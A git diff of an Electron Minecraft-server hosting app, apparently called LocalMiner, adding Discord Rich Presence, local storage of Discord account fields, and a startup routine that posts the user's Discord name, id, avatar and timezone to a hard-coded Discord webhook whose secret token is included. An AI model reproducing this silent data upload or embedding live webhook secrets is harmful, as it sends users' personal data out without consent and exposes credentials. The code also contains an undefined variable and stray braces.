+ // localm://suhani/date/id/avatar/bashName >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
+ function SaveLocalFile(x) {
+ let yourfuckingtime = `${token.split("/")[1]} ${x}`;
+ let yourfuckingid = `${token.split("/")[2]}`
+ let yourfuckingavatar = `${token.split("/")[3]}`
+ let yourfuckingusername = `${token.split("/")[4]}`
+ let lastfuckingchange = new Date();
+ yourfuckingtime = btoa(yourfuckingtime)
+ yourfuckingtime = btoa(yourfuckingtime)
+ yourfuckingtime = btoa(yourfuckingtime)
+
+
+
+ let localx = {
+ "lastchange": lastfuckingchange,
+ "time": yourfuckingtime,
+ "id": yourfuckingid,
+ "avatar": yourfuckingavatar,
+ "username": yourfuckingusername,
+ }
+
+ storeLocalxLocation = __dirname
+ storeLocalxLocation = storeLocalxLocation.split('LocalMiner')[0]
+ storeLocalxLocation = storeLocalxLocation.replace('file:///', '')
+ storeLocalxLocation = storeLocalxLocation.replaceAll('/', '//') + "LocalMiner//mainPs.localx"
+ fs.writeFileSync(`${storeLocalxLocation}`, JSON.stringify(localx), 'utf-8', function (err) {
+ if (err) throw err;
+ console.log('Localx File created Successfully');
+ });
+
+ fs.writeFileSync(`${storeLocalxLocation}`, JSON.stringify(localx), 'utf-8', function (err) {
+ if (err) throw err;
+ console.log('Localx File created Successfully');
+ });
+ }
+
+
+ }
+ })
+}
+
+
+app.setAsDefaultProtocolClient('localm');
+
+app.on('open-url', function (event, url) {
+ // event.preventDefault()
+ // deeplinkingUrl = url
+})
+
+app.on("window-all-closed", function () {
+ if (process.platform !== "darwin") {
+ app.quit();
+ }
+});
+
+//D I S C O R D R P C
+
+async function FetchStatus() {
+ const status = await fetch('https://cdn.localm.eu.org/api/RPC.json');
+ const data = await status.json();
+ return data;
+}
+
+const clientId = '964384185802436648';
+
+DiscordRPC.register(clientId);
+
+const rpc = new DiscordRPC.Client({
+ transport: 'ipc'
+});
+const startTimestamp = new Date();
+
+async function setActivity() {
+ if (!rpc || !window) {
+ return;
+ }
+
+ try {
+ const gameid = await window.webContents.executeJavaScript('document.getElementById("MainHeading").innerHTML');
+ let Showip = await window.webContents.executeJavaScript('document.getElementById("Showip").value;');
+ let ipadd = await window.webContents.executeJavaScript('document.getElementById("display3").innerHTML;');
+
+
+ // console.log(gameid,Showip,ipadd)
+ var d = await FetchStatus();
+ var healer = d.Status;
+ var title = d.Title;
+ var largetext = d.largeImageText;
+
+ var smalltext = d.smallImageText;
+ var blabel = d.button;
+
+
+ // console.log(healer)
+ let babel1 = [{
+ "label": "Play With Me!",
+ "url": `https://mcsrvstat.us/server/${encodeURIComponent(ipadd)}`
+ }, {
+ "label": "Host Now!",
+ "url": "https://healerop.gumroad.com/l/localm-win"
+ }]
+ if (gameid.includes("Install") && Showip == "false") {
+ rpc.setActivity({
+ details: title,
+ state: 'Installing Server ⬇️',
+ startTimestamp,
+ largeImageKey: 'limg',
+ largeImageText: largetext,
+ smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/209cc810-a432-4c94-8afe-1d9915322cca.gif?raw=true',
+ smallImageText: smalltext,
+ buttons: blabel,
+ instance: false,
+ });
+ } else if (gameid.includes("Install") && Showip == "true") {
+ rpc.setActivity({
+ details: title,
+ state: 'Installing Server ⬇️',
+ startTimestamp,
+ largeImageKey: 'limg',
+ largeImageText: largetext,
+ smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/209cc810-a432-4c94-8afe-1d9915322cca.gif?raw=true',
+ smallImageText: smalltext,
+ buttons: babel,
+ instance: false,
+ });
+ }else if (gameid.includes("Plugins") && Showip == "true") {
+ rpc.setActivity({
+ details: title,
+ state: 'Installing Plugins ⬇️',
+ startTimestamp,
+ largeImageKey: 'limg',
+ largeImageText: largetext,
+ smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/209cc810-a432-4c94-8afe-1d9915322cca.gif?raw=true',
+ smallImageText: smalltext,
+ buttons: babel1,
+ instance: false,
+ });
+ }else if (gameid.includes("Plugins") && Showip == "false") {
+ rpc.setActivity({
+ details: title,
+ state: 'Installing Plugins ⬇️',
+ startTimestamp,
+ largeImageKey: 'limg',
+ largeImageText: largetext,
+ smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/209cc810-a432-4c94-8afe-1d9915322cca.gif?raw=true',
+ smallImageText: smalltext,
+ buttons: babel,
+ instance: false,
+ });
+ } else if (gameid.includes("Run") && Showip == "false") {
+ rpc.setActivity({
+ details: title,
+ state: 'Booting Server 📶',
+ startTimestamp,
+ largeImageKey: 'limg',
+ largeImageText: largetext,
+ smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/d5bd0a9b-b545-4928-bfc3-1bf1b84a184b.gif?raw=true',
+ smallImageText: smalltext,
+ buttons: blabel,
+ instance: false,
+ });
+ } else if (gameid.includes("Run") && Showip == "true") {
+ rpc.setActivity({
+ details: title,
+ state: 'Booting Server 📶',
+ startTimestamp,
+ largeImageKey: 'limg',
+ largeImageText: largetext,
+ smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/d5bd0a9b-b545-4928-bfc3-1bf1b84a184b.gif?raw=true',
+ smallImageText: smalltext,
+ buttons: babel1,
+ instance: false,
+ });
+ } else if (gameid.includes("Settings") && Showip == "false") {
+ rpc.setActivity({
+ details: title,
+ state: 'Changing Settings ⚙️',
+ startTimestamp,
+ largeImageKey: 'limg',
+ largeImageText: largetext,
+ smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/a3b23c33-d4be-4c82-8faf-15a1dfde49fe.gif?raw=true',
+ smallImageText: smalltext,
+ buttons: blabel,
+ instance: false,
+ });
+ } else if (gameid.includes("Settings") && Showip == "true") {
+ rpc.setActivity({
+ details: title,
+ state: 'Changing Settings ⚙️',
+ startTimestamp,
+ largeImageKey: 'limg',
+ largeImageText: largetext,
+ smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/a3b23c33-d4be-4c82-8faf-15a1dfde49fe.gif?raw=true',
+ smallImageText: smalltext,
+ buttons: babel1,
+ instance: false,
+ });
+ } else if (gameid.includes("Console") && Showip == "false") {
+ rpc.setActivity({
+ details: title,
+ state: 'Checking Console 📝',
+ startTimestamp,
+ largeImageKey: 'limg',
+ largeImageText: largetext,
+ smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/1261-hackerbongocat.gif?raw=true',
+ smallImageText: smalltext,
+ buttons: blabel,
+ instance: false,
+ });
+ } else if (gameid.includes("Console") && Showip == "true") {
+
+ rpc.setActivity({
+ details: title,
+ state: 'Checking Console 📝',
+ startTimestamp,
+ largeImageKey: 'limg',
+ largeImageText: largetext,
+ smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/1261-hackerbongocat.gif?raw=true',
+ smallImageText: smalltext,
+ buttons: babel1,
+ instance: false,
+ });
+ } else if (gameid.includes("Menu") && Showip == "true") {
+ rpc.setActivity({
+ details: title,
+ state: 'Watching Main Menu',
+ startTimestamp,
+ largeImageKey: 'limg',
+ largeImageText: largetext,
+ smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/a52ae49c-d06a-4341-ae0e-2d38e14e286a.gif?raw=true',
+ smallImageText: smalltext,
+ buttons: babel1,
+ instance: false,
+ });
+ } else if (gameid.includes("Menu") && Showip == "false") {
+ rpc.setActivity({
+ details: title,
+ state: 'Watching Main Menu',
+ startTimestamp,
+ largeImageKey: 'limg',
+ largeImageText: largetext,
+ smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/a52ae49c-d06a-4341-ae0e-2d38e14e286a.gif?raw=true',
+ smallImageText: smalltext,
+ buttons: blabel,
+ instance: false,
+ });
+ } else if (gameid.includes("Login")) {
+ rpc.setActivity({
+ details: title,
+ state: healer[Math.floor((Math.random() * healer.length) + 0)],
+ startTimestamp,
+ largeImageKey: 'limg',
+ largeImageText: largetext,
+ smallImageKey: 'https://github.com/healer-op/HealCloud/blob/main/image/c68b015e-b75d-4e81-86d0-4689c2b60548.gif?raw=true',
+ smallImageText: smalltext,
+ buttons: blabel,
+ instance: false,
+ });
+ };
+ } catch (error) {
+ // console.log(error)
+ }
+}
+
+rpc.on('ready', () => {
+ setActivity();
+
+ // activity can only be set every 15 seconds
+ setInterval(() => {
+ setActivity();
+ }, 3000);
+});
+
+rpc.login({
+ clientId
+}).catch((err) => {
+ console.error('Failed to connect to Discord RPC:', err.message);
+});
+
+rpc.on('error', (error) => {
+ console.error('Discord RPC Error:', error.message);
+});
+
+
+// WEBHOOK API
+async function SendWebHook() {
+
+ //checking mainPs.localx File
+ storeLocalxLocation = __dirname
+ storeLocalxLocation = storeLocalxLocation.split('LocalMiner')[0]
+ storeLocalxLocation = storeLocalxLocation.replace('file:///', '')
+ storeLocalxLocation = storeLocalxLocation.replaceAll('/', '//') + "LocalMiner//mainPs.localx"
+ let files = `${storeLocalxLocation}`;
+
+ if (!fs.existsSync(files)) {
+ console.log("File not found");
+ } else {
+ // Read the file and do anything you want
+ let fileData = JSON.parse(fs.readFileSync(files, 'utf-8'));
+
+ let username = fileData.username
+ let avatar = `https://cdn.discordapp.com/avatars/${fileData.id}/${fileData.avatar}`
+ let timezo = Intl.DateTimeFormat().resolvedOptions().timeZone
+
+ fetch(
+ `https://discord.com/api/webhooks/1199292210043166791/fjnmfOt0487KoKyjYuTs1wYEZ91aVPJeKmSxGwJhiqWrT1mLh82R4xvGDqGT7ht7itBj`, {
+ method: 'post',
+ headers: {
+ 'Content-Type': 'application/json',
+ },
+ body: JSON.stringify({
+ username: 'DuckOnALimo',
+ avatar_url: 'https://cdn.discordapp.com/attachments/972722438074933287/973125724695326790/mcpfp_-_mofr.png',
+ allowed_mentions: {
+ parse: ['users', 'roles'],
+ },
+ embeds: [{
+ color: 15844367,
+ author: {
+ name: 'DuckOnALimo',
+ url: `https://github.com/LocalMiner`,
+ icon_url: 'https://cdn.discordapp.com/attachments/972722438074933287/973125724695326790/mcpfp_-_mofr.png',
+ },
+ title: `${username} Just Opened LocalMiner!`,
+ thumbnail: {
+ url: `${avatar}`,
+ },
+ fields: [{
+ name: `Yesh! ${username} is Now In Villager Gang`,
+ value: `<@${fileData.id}> Thanks For Using LocalMiner**`,
+ }],
+ footer: {
+ text: `DuckOnALimo Live on ${username}'s pc from ${timezo}`,
+ icon_url: 'https://cdn.discordapp.com/attachments/972722438074933287/973125724695326790/mcpfp_-_mofr.png',
+ },
+ }, ],
+ }),
+ }
+ );
+
+ }
+}
+
+SendWebHook()
+
diff --git a/src/login.html b/src/login.html
new file mode 100644
index 0000000..3fd4d3a
--- /dev/null
+++ b/src/login.html
@@ -0,0 +1,1616 @@
+
+
+
+
+ qwen
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Login
+
+ – show ip on discord (default no) –
+
+ yes
+ no
+
+
Main Menu
+
+
+
+
+
+
LocalX-Auth
+
Login to LocalX and Host Minecraft Servers!
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/logo.ico b/src/logo.ico
new file mode 100644
index 0000000..6e3c881
Binary files /dev/null and b/src/logo.ico differ